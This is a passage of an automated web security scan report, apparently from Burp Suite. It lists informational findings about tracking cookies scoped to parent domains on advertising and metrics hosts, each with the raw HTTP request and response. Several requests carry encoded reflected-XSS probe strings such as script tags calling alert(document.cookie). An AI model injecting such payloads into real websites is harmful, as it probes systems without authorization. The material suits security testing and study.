1847v1843m1844m184721845p1848e1844q1848c1843h1842y1847d1848d1844t1845x1847q1845k184711845o1846i1844f184791845w1845d184581844h1843v1847o18434184691845t184531844w1844e184881846v1844v4fhux122u000000axzm000000d1t30d1rq0d1qh0d1te000000d1ss0d1px0d1s00d1t20d1sn0d1rp0d1rb0d1t40d1rr0d1s70d1qu0d1q60d1ps0d1r70d1pu0d1rf0d1r10d1r40d1qx0d1ql0d1pr0d1r60d1sm0d1r90d1pw0d1qw0d1qc0d1sr0d1qz0d1sq0d1se0d1rm0d1qj0d1rg0d1t90d1rw0d1pl0d1qe0d1q50d1rc0d1q20d1so0d1t00d1ro0d1su0d1sd0d1qa0d1tb0d1qv0d1s10d1qo0d1r00d1s40d1qi0d1t80d1tf0d1st0d1py0d1rh0d1rd0d1sz0d1qm0d1q40d1q10d1r80d1pv0d1rk0d1s20d1sk0d1tc0d1rj0d1qb0d1pm0d1r20d1sc0d1rl0d1qg0d1ta0d1rt0d1t50d1rs0d1r30d1pq0d1si0d1t70d1sj0d1ru000000000000000000000000000000000004esx7120104tej1o018EstvP2qn112s1o9ct1oa791oa5w1oa8b1oa601oa8j1oa6z1oa871oa6u1oa8f1oa7b1oa7l1oa6x1oa8l1oa6m1oa7i1oa8h1oa6h1oa8e1oa5z1oa8s1oa7n1oa6e1oa7k1oa741oa5r1oa7h1oa5l1oa5k1oa611oa7w1oa8g1oa911oa7o1oa5m1oa6l1oa681oa8c1oa5h1oa831oa8o1oa8n1oa7f1oa6f1oa7x1oa721oa771oa701oa7j1oa7a1oa801oa7g1oa6n1oa761oa5t1oa8i1oa841oa8t1oa8m1oa7y1oa921oa5i1oa6y1oa931oa821oa7u1oa941oa8d1oa631oa6t1oa651oa7d1oa8v1oa6j1oa891oa6w1oa5j1oa881oa7t1oa6v1oa7s1oa8z1oa8p1oa811oa6o1oa8u1oa691oa731oa5q1oa6g1oa8q1oa7e1oa5y1oa751oa5s1oa641oa7v1oa781oa5v1oa6k; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /orbserv/hbpix?pixId=2869&curl=http%3A%2F%2Fwww.slackbooks.com%2Fessentialknee HTTP/1.1
Host: map.media6degrees.com
Proxy-Connection: keep-alive
Referer: http://www.slackbooks.com/essentialknee
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lfzx0l0zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=015020a0e0f0g1lebnnsxzt11o9ctxzt11txepxzt11txepxzt11o9ct; vstcnt=3lebnns031l034e206123s181qq1845a1847x1845b1847u1847e1847k1847y1843w1844k184621845j1844p184551843s1847h1846q1844z184871846u184571843u18486184741846t1846l1845r1842z185k81848f1844n1844d184781846a1845v1846j1846k184801845s1843g1847a1843d184841846r1845y1844l1847i1847r1847p184541843r1845i1844y1844r1842x184811846o1844u1844s1847b1843k1843n1848a1845q1845n1845c1842t1844j1845e1845g184821846p184301847f1844c1847t1843c1843j1848b1847z1842u1843p184851846s1845f1845h18435184371846b1843o1845m1847s1848g1844g184561843t1847c1847g1843f1844a1847v1843m1844m184721845p1848e1844q1848c1843h1842y1847d1848d1844t1845x1847q1845k184711845o1846i1844f184791845w1845d184581844h1843v1847o18434184691845t184531844w1844e184881846v1844v4fhux122u000000axzm000000d1t30d1rq0d1qh0d1te000000d1ss0d1px0d1s00d1t20d1sn0d1rp0d1rb0d1t40d1rr0d1s70d1qu0d1q60d1ps0d1r70d1pu0d1rf0d1r10d1r40d1qx0d1ql0d1pr0d1r60d1sm0d1r90d1pw0d1qw0d1qc0d1sr0d1qz0d1sq0d1se0d1rm0d1qj0d1rg0d1t90d1rw0d1pl0d1qe0d1q50d1rc0d1q20d1so0d1t00d1ro0d1su0d1sd0d1qa0d1tb0d1qv0d1s10d1qo0d1r00d1s40d1qi0d1t80d1tf0d1st0d1py0d1rh0d1rd0d1sz0d1qm0d1q40d1q10d1r80d1pv0d1rk0d1s20d1sk0d1tc0d1rj0d1qb0d1pm0d1r20d1sc0d1rl0d1qg0d1ta0d1rt0d1t50d1rs0d1r30d1pq0d1si0d1t70d1sj0d1ru000000000000000000000000000000000004esx7120104tej0r023ik5120o0keqa0pk2n0kh4a0kh3u0kh490kh3s0kh3t0kh3m0kh3a0kh3y0kh3j0kh3h0kh390kh3x0kh3v0kh4b0kh3d0kh3f0kh3r0kh3l0kh430kh3g0kh3p0kh3z4nssk122m1boph1c4wn1bw2l1bw321bw2o1bw501bw3n1bw4o1bw3c1bw301bw5f1bw4e1bw381bw3l1bw2m1bw2c1bw351bw481bw2v1bw4h1bw4x1bw4b1bw361bw3z1bw4f1bw4w1bw4g1bw331bw431bw2q1bw4z1bw2b1bw441bw2r1bw5e1bw3f1bw521bw3p1bw5a1bw311bw4r1bw5d1bw5j1bw421bw2p1bw3x1bw5g1bw2i1bw4a1bw3b1bw531bw4p1bw3q1bw541bw3r1bw4q1bw4j1bw461bw2t1bw3m1bw4y1bw4s1bw2z1bw4c1bw2k1bw3v1bw4i1bw4t1bw3a1bw451bw2s1bw2j1bw4n1bw3e1bw591bw3w1bw401bw2n1bw3u1bw341bw4u1bw3k1bw491bw2w1bw5b1bw561bw3t1bw511bw551bw3s1bw471bw2u1bw5i1bw4l1o018EstvP2qn112s1o9ct1oa791oa5w1oa8b1oa601oa8j1oa6z1oa871oa6u1oa8f1oa7b1oa7l1oa6x1oa8l1oa6m1oa7i1oa8h1oa6h1oa8e1oa5z1oa8s1oa7n1oa6e1oa7k1oa741oa5r1oa7h1oa5l1oa5k1oa611oa7w1oa8g1oa911oa7o1oa5m1oa6l1oa681oa8c1oa5h1oa831oa8o1oa8n1oa7f1oa6f1oa7x1oa721oa771oa701oa7j1oa7a1oa801oa7g1oa6n1oa761oa5t1oa8i1oa841oa8t1oa8m1oa7y1oa921oa5i1oa6y1oa931oa821oa7u1oa941oa8d1oa631oa6t1oa651oa7d1oa8v1oa6j1oa891oa6w1oa5j1oa881oa7t1oa6v1oa7s1oa8z1oa8p1oa811oa6o1oa8u1oa691oa731oa5q1oa6g1oa8q1oa7e1oa5y1oa751oa5s1oa641oa7v1oa781oa5v1oa6k; adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; clid=2lebnns011706ch47d7o8wtv1ubmf00z10020607206; orblb=2lfk1rn0225810u020lxik0hlmv2dh10u0100000; rdrlst=4140o2ylebnns0000000z100207dpletz4d0000000v100210e5lg1nei0000000510020mmnlebnns0000000z100210rdlg1vir0000000410020x1blebnns0000000z10020xo1lebnns0000000z10020eh5lf17qf0000000r100206bylemlne0000000x10020w3clebnns0000000z100207gmlebnns0000000z10020jv6lebnns0000000z10020j4ilew2e20000000t10020xthlebnns0000000z10020fullf8gij0000000n100210f6lg1nei0000000510021196lfzx0l00000006100200c9lfk1rn0000000k10020jillebnns0000000z10021194lg3y5y0000000310020fuqlegh2b0000000y10020b6mlf17qk0000000q10020mz1lebnns0000000z10020cajlfk1rn0000000k10020p7vlebnns0000000z100207vglfk1rn0000000k10020xvslebnns0000000z10021192lg5l2h00000002100210ellg1nei0000000510020xuklebnns0000000z10020jk7lebnns0000000z10020x1jlebnns0000000z10020yiplebnns0000000z10020cbnlfk1rn0000000k10020xwflebnns0000000z10020yh0lebnns0000000z10020e4vlebnns0000000z100210e9lg1nei0000000510020xwblebnns0000000z10020jwblfk1rn0000000k1002; sglst=2140s8dtletz4d0pqa500a0l00040010061gletz4d0pqa500a0l000400100a70lebnns181qq00e0l0004001005b0lf17qo0000000p1002060720682gletz4d0pqa500a0l000400100ag2leqh191fi8y00w1002060720682hlebnns1o9ct00z100206072069zdlebnns181qq00e0l0004001005q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei0g7m300l10020607206820lebnns181qq00e0l000400100b0olfjpei0g7m300l10020607206ab4lebnns1o9ct00z100206072069szlebnns1o9ct00z100206072068wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b1pi7w00y10020607206al1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l000400100b0clfjpei0g7m300l100206072068bgletz4d0pqa500a0l0004001007y2lebnns181qq00e0l0004001005q8lebnns1o9ct00k10020606206b08lfjpei0g7m300l1002060720640slebnns181qq00e0l0004001003s4letz4d0pqa500a0l000400100ah4lebnns181qq00e0l000400100a97lebnns181qq00e0l00040010045mlfdxmc0000000m1002060720640uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns181qq00e0l0004001009atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: acs=015020a0e0f0g1lebnnsxzt11udrfxzt11txepxzt11txepxzt11udrf; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
Set-Cookie: adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
Set-Cookie: clid=2lebnns011706ch47d7o8wtv1udrf01010030608207; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
Set-Cookie: orblb=2lfk1rn0225810u020lxik0hlmv2dh10u0100000; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
Set-Cookie: rdrlst=41507dpletz4d0000000w10030o2ylebnns0000001010030mmnlebnns00000010100310e5lg1nei00000006100310rdlg1vir0000000510030xo1lebnns0000001010030x1blebnns0000001010030eh5lf17qf0000000s100306bylemlne0000000y10030w3clebnns00000010100307gmlebnns0000001010030jv6lebnns0000001010030j4ilew2e20000000u10030xthlebnns0000001010030fullf8gij0000000o100310f6lg1nei0000000610031196lfzx0l00000007100300c9lfk1rn0000000l10030jillebnns0000001010031194lg3y5y0000000410030fuqlegh2b0000000z10030b6mlf17qk0000000r10030mz1lebnns0000001010030cajlfk1rn0000000l10030p7vlebnns00000010100307vglfk1rn0000000l10031192lg5l2h0000000310030xvslebnns00000010100310ellg1nei0000000610030xuklebnns0000001010030x1jlebnns0000001010030jk7lebnns0000001010030cbnlfk1rn0000000l10030yiplebnns00000010100310telg61f70000000110010yh0lebnns0000001010030xwflebnns0000001010030e4vlebnns00000010100310e9lg1nei0000000610030jwblfk1rn0000000l10030xwblebnns000000101003; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
Set-Cookie: sglst=2140s8dtletz4d0pqa500a0l000400100a70lebnns181qq00e0l00040010061gletz4d0pqa500a0l0004001005b0lf17qo0000000q10030608207ag2leqh191fkdy00x1003060820782gletz4d0pqa500a0l0004001009zdlebnns181qq00e0l00040010082hlebnns1udrf00z100006002005q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei0mc0p00m10030608207820lebnns181qq00e0l000400100b0olfjpei0mc0p00m10030608207ab4lebnns1udrf010100306082079szlebnns1udrf010100306082078wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b1pkcw00z10030608207al1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l0004001005q8lebnns1udrf00k100006002007y2lebnns181qq00e0l0004001008bgletz4d0pqa500a0l000400100b0clfjpei0mc0p00m10030608207b08lfjpei0mc0p00m1003060820740slebnns181qq00e0l00040010045mlfdxmc0000000n10030608207a97lebnns181qq00e0l000400100ah4lebnns181qq00e0l0004001003s4letz4d0pqa500a0l00040010040uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns1udrf00f100106012019atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
Set-Cookie: vstcnt=3lebnns030r034nssk122m1boph1c4wn1bw2l1bw321bw2o1bw501bw3n1bw4o1bw3c1bw301bw5f1bw4e1bw381bw3l1bw2m1bw2c1bw351bw481bw2v1bw4h1bw4x1bw4b1bw361bw3z1bw4f1bw4w1bw4g1bw331bw431bw2q1bw4z1bw2b1bw441bw2r1bw5e1bw3f1bw521bw3p1bw5a1bw311bw4r1bw5d1bw5j1bw421bw2p1bw3x1bw5g1bw2i1bw4a1bw3b1bw531bw4p1bw3q1bw541bw3r1bw4q1bw4j1bw461bw2t1bw3m1bw4y1bw4s1bw2z1bw4c1bw2k1bw3v1bw4i1bw4t1bw3a1bw451bw2s1bw2j1bw4n1bw3e1bw591bw3w1bw401bw2n1bw3u1bw341bw4u1bw3k1bw491bw2w1bw5b1bw561bw3t1bw511bw551bw3s1bw471bw2u1bw5i1bw4l3ik5120o0keqa0pk2n0kh4a0kh3u0kh490kh3s0kh3t0kh3m0kh3a0kh3y0kh3j0kh3h0kh390kh3x0kh3v0kh4b0kh3d0kh3f0kh3r0kh3l0kh430kh3g0kh3p0kh3z4jaec12011udrf1l034e206123s181qq1845a1847x1845b1847u1847e1847k1847y1843w1844k184621845j1844p184551843s1847h1846q1844z184871846u184571843u18486184741846t1846l1845r1842z185k81848f1844n1844d184781846a1845v1846j1846k184801845s1843g1847a1843d184841846r1845y1844l1847i1847r1847p184541843r1845i1844y1844r1842x184811846o1844u1844s1847b1843k1843n1848a1845q1845n1845c1842t1844j1845e1845g184821846p184301847f1844c1847t1843c1843j1848b1847z1842u1843p184851846s1845f1845h18435184371846b1843o1845m1847s1848g1844g184561843t1847c1847g1843f1844a1847v1843m1844m184721845p1848e1844q1848c1843h1842y1847d1848d1844t1845x1847q1845k184711845o1846i1844f184791845w1845d184581844h1843v1847o18434184691845t184531844w1844e184881846v1844v4fhux122u000000axzm000000d1t30d1rq0d1qh0d1te000000d1ss0d1px0d1s00d1t20d1sn0d1rp0d1rb0d1t40d1rr0d1s70d1qu0d1q60d1ps0d1r70d1pu0d1rf0d1r10d1r40d1qx0d1ql0d1pr0d1r60d1sm0d1r90d1pw0d1qw0d1qc0d1sr0d1qz0d1sq0d1se0d1rm0d1qj0d1rg0d1t90d1rw0d1pl0d1qe0d1q50d1rc0d1q20d1so0d1t00d1ro0d1su0d1sd0d1qa0d1tb0d1qv0d1s10d1qo0d1r00d1s40d1qi0d1t80d1tf0d1st0d1py0d1rh0d1rd0d1sz0d1qm0d1q40d1q10d1r80d1pv0d1rk0d1s20d1sk0d1tc0d1rj0d1qb0d1pm0d1r20d1sc0d1rl0d1qg0d1ta0d1rt0d1t50d1rs0d1r30d1pq0d1si0d1t70d1sj0d1ru000000000000000000000000000000000004esx7120104tej1o018EstvP2qn112s1o9ct1oa791oa5w1oa8b1oa601oa8j1oa6z1oa871oa6u1oa8f1oa7b1oa7l1oa6x1oa8l1oa6m1oa7i1oa8h1oa6h1oa8e1oa5z1oa8s1oa7n1oa6e1oa7k1oa741oa5r1oa7h1oa5l1oa5k1oa611oa7w1oa8g1oa911oa7o1oa5m1oa6l1oa681oa8c1oa5h1oa831oa8o1oa8n1oa7f1oa6f1oa7x1oa721oa771oa701oa7j1oa7a1oa801oa7g1oa6n1oa761oa5t1oa8i1oa841oa8t1oa8m1oa7y1oa921oa5i1oa6y1oa931oa821oa7u1oa941oa8d1oa631oa6t1oa651oa7d1oa8v1oa6j1oa891oa6w1oa5j1oa881oa7t1oa6v1oa7s1oa8z1oa8p1oa811oa6o1oa8u1oa691oa731oa5q1oa6g1oa8q1oa7e1oa5y1oa751oa5s1oa641oa7v1oa781oa5v1oa6k; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
Location: http://cm.g.doubleclick.net/pixel?nid=media6degrees
Content-Length: 0
Date: Sat, 05 Feb 2011 22:35:30 GMT

14.111. http://messenger.yahoo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://messenger.yahoo.com
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

B=cavfg3t6krlge&b=3&s=da; expires=Tue, 05-Feb-2013 20:00:00 GMT; path=/; domain=.yahoo.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: messenger.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:22 GMT
Set-Cookie: B=cavfg3t6krlge&b=3&s=da; expires=Tue, 05-Feb-2013 20:00:00 GMT; path=/; domain=.yahoo.com
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Cache-Control: private
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20576

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Yahoo! Messenger - Chat, Instant message, SMS, Video Call, PC Calls</title>
<meta http
...[SNIP]...

14.112. http://metrics.blackberry.com/b/ss/rimglobal,rimbbus/1/H.22.1/s28855670725461 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://metrics.blackberry.com
Path:	/b/ss/rimglobal,rimbbus/1/H.22.1/s28855670725461

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

s_vi=[CS]v1|26A75175051D128B-40000130C01FD049[CE]; Expires=Fri, 5 Feb 2016 13:32:26 GMT; Domain=.blackberry.com; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /b/ss/rimglobal,rimbbus/1/H.22.1/s28855670725461?AQB=1&ndh=1&t=6%2F1%2F2011%207%3A33%3A2%200%20360&ns=researchinmotion&pageName=us%3Abb%3Adevices%3A94178%2522%253E%253Cscript%253Ealert(document.cookie)%253C%3Ascript%253Ed0d62204af5%3A404%20Error%20-%20Page%20not%20found&g=http%3A%2F%2Fus.blackberry.com%2Fsmartphones%2F94178%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ed0d62204af5%2F&r=http%3A%2F%2Fburp%2Fshow%2F47&vvp=DFA%231516044%3Av32%3D%5B%5B%22DFA-%22%2Blis%2B%22-%22%2Blip%2B%22-%22%2Blastimp%2B%22-%22%2Blastimptime%2B%22-%22%2Blcs%2B%22-%22%2Blcp%2B%22-%22%2Blastclk%2B%22-%22%2Blastclktime%5D%5D&ch=us%3Abb%3Adevices&events=event8&c1=us%3Abb%3Adevices%3A94178%2522%253E%253Cscript%253Ealert(document.cookie)%253C&h1=us%2Cbb%2Cdevices%2C94178%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Cscript%253Ed0d62204af5&v9=us%3Abb%3Adevices%3A94178%2522%253E%253Cscript%253Ealert(document.cookie)%253C%3Ascript%253Ed0d62204af5%3A404%20Error%20-%20Page%20not%20found&v10=us%3Abb%3Adevices&v23=us%3Abb%3Adevices%3A94178%2522%253E%253Cscript%253Ealert(document.cookie)%253C&c40=http%3A%2F%2Fus.blackberry.com%2Fsmartphones%2F94178%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ed0d62204af5%2F&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1001&bh=1031&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava(TM)%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1
Host: metrics.blackberry.com
Proxy-Connection: keep-alive
Referer: http://us.blackberry.com/smartphones/94178%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ed0d62204af5/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BLLY=CT; fsr.a=1296999181981; s_cc=true; dfa_cookie=rimglobal%2Crimbbus

Response

HTTP/1.1 302 Found
Date: Sun, 06 Feb 2011 13:32:26 GMT
Server: Omniture DC/2.0.0
Set-Cookie: s_vi=[CS]v1|26A75175051D128B-40000130C01FD049[CE]; Expires=Fri, 5 Feb 2016 13:32:26 GMT; Domain=.blackberry.com; Path=/
Location: http://metrics.blackberry.com/b/ss/rimglobal,rimbbus/1/H.22.1/s28855670725461?AQB=1&pccr=true&vidn=26A75175051D128B-40000130C01FD049&&ndh=1&t=6%2F1%2F2011%207%3A33%3A2%200%20360&ns=researchinmotion&pageName=us%3Abb%3Adevices%3A94178%2522%253E%253Cscript%253Ealert(document.cookie)%253C%3Ascript%253Ed0d62204af5%3A404%20Error%20-%20Page%20not%20found&g=http%3A%2F%2Fus.blackberry.com%2Fsmartphones%2F94178%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ed0d62204af5%2F&r=http%3A%2F%2Fburp%2Fshow%2F47&vvp=DFA%231516044%3Av32%3D%5B%5B%22DFA-%22%2Blis%2B%22-%22%2Blip%2B%22-%22%2Blastimp%2B%22-%22%2Blastimptime%2B%22-%22%2Blcs%2B%22-%22%2Blcp%2B%22-%22%2Blastclk%2B%22-%22%2Blastclktime%5D%5D&ch=us%3Abb%3Adevices&events=event8&c1=us%3Abb%3Adevices%3A94178%2522%253E%253Cscript%253Ealert(document.cookie)%253C&h1=us%2Cbb%2Cdevices%2C94178%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Cscript%253Ed0d62204af5&v9=us%3Abb%3Adevices%3A94178%2522%253E%253Cscript%253Ealert(document.cookie)%253C%3Ascript%253Ed0d62204af5%3A404%20Error%20-%20Page%20not%20found&v10=us%3Abb%3Adevices&v23=us%3Abb%3Adevices%3A94178%2522%253E%253Cscript%253Ealert(document.cookie)%253C&c40=http%3A%2F%2Fus.blackberry.com%2Fsmartphones%2F94178%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ed0d62204af5%2F&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1001&bh=1031&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava(TM)%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1
X-C: ms-4.3.1
Expires: Sat, 05 Feb 2011 13:32:26 GMT
Last-Modified: Mon, 07 Feb 2011 13:32:26 GMT
Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA"
xserver: www334
Content-Length: 0
Content-Type: text/plain

14.113. http://mittelstandsblog.de.intellitxt.com/intellitxt/front.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mittelstandsblog.de.intellitxt.com
Path:	/intellitxt/front.asp

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

VM_USR="AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wkAAAEt+/O1yQA-"; Version=1; Domain=.intellitxt.com; Max-Age=5184000; Expires=Thu, 07-Apr-2011 17:10:09 GMT; Path=/
VM_USR="AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wkAAAEt+/O1yQA-"; Version=1; Domain=.intellitxt.com; Max-Age=5184000; Expires=Thu, 07-Apr-2011 17:10:09 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /intellitxt/front.asp?ipid=12476 HTTP/1.1
Host: mittelstandsblog.de.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(1)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAwAAArrAQAAAAMAAAEt98vDoAAAAS332v9sAAABLffbZhUAAArYAQAAAAIAAAEt99r/bAAAAS3322YVAAAK6gEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAKywEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAK6QEAAAACAAABLffa/2wAAAEt99tmFQAACugBAAAAAQAAAS33y8OgAAAPpgEAAAACAAABLffa/2wAAAEt99tmFQAACs0BAAAAAQAAAS33y8OgAAAKzAEAAAABAAABLffLw6AAAArSAQAAAAEAAAEt98vDoAAABBUBAAAAAQAAAS2qBrSKAAAK1QEAAAABAAABLffLw6AAAAAAnwCngQ--"; VM_USR="AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wgAAAEt+/NP3wA-"

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR="AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wkAAAEt+/O1yQA-"; Version=1; Domain=.intellitxt.com; Max-Age=5184000; Expires=Thu, 07-Apr-2011 17:10:09 GMT; Path=/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Set-Cookie: VM_USR="AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wkAAAEt+/O1yQA-"; Version=1; Domain=.intellitxt.com; Max-Age=5184000; Expires=Thu, 07-Apr-2011 17:10:09 GMT; Path=/
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Sun, 06 Feb 2011 17:10:08 GMT
Connection: close
Content-Length: 10810

document.itxtDisabled=1;
function itxtokeydoke(){try{var b=document.getElementByTagName('BODY')[0];if(document.all){if(b.innerText.indexOf('Cx26A')>=0)return 1;}else{if(b.textContent.indexOf('Cx26A')>
...[SNIP]...

14.114. http://mm.chitika.net/minimall previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mm.chitika.net
Path:	/minimall

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

_cc=G/SkJTIFoxB5zyrGvNoopUmJl2rsItRDWa+mMYtlFsMkqNkYLjf2S50TROQG59rAL1bd9/fru8qt59wzOMjm3zNoYwE3YNuGFh9r5pQyYF8IBuWtKzzuHg0EDf/OXTGwN4F0yzBRSsFrNaxBTurQk405PQiw6OztUAy+wVNGctUh2bI4o+E9Ip02zo1FpoGCl03GPW8YYrbsxuJG3RP/FXHhECqNMLZ3FujUPMYSQS4kC+I6tXLqBlwHa+Y8F+vNGqcNkAxZpUSMvHEO8khCYplFBx+Y+YbrxuGvKbBA4tZ0bqBN4lQhUBzx8YBlP2FsPJrbVK6NMroVMNC22xzJ0lAih4JSqLegFemViNUjn5mzE3l3Blj4eWfvwLcr4gqAZw5ywM/1YurC6/+iOUtyrecQGPVej55Oz02Rg41Zv724GqbA.1tBPbIb2KArc06KV27bEdA.4; path=/; domain=.chitika.net; expires=Sun, 05-Feb-2012 22:26:09 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /minimall?w=450&h=auto&client=OwnerIQ&sid=Chitika%20Default&url=http%3A//homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&ref=http%3A//burp/show/1&nump=3&type=mpu&cl_border=%23FFFFFF&cl_bg=%23FFFFFF&cl_title=%230068B3&cl_text=333333&cl_site_link=%230068B3&screenres=1920x1200&winsize=995x1094&canvas=969x225&frm=false&history=2&cb=428&loc=205,1872&output=simplejs&callback=ch_ad_render_search HTTP/1.1
Host: mm.chitika.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
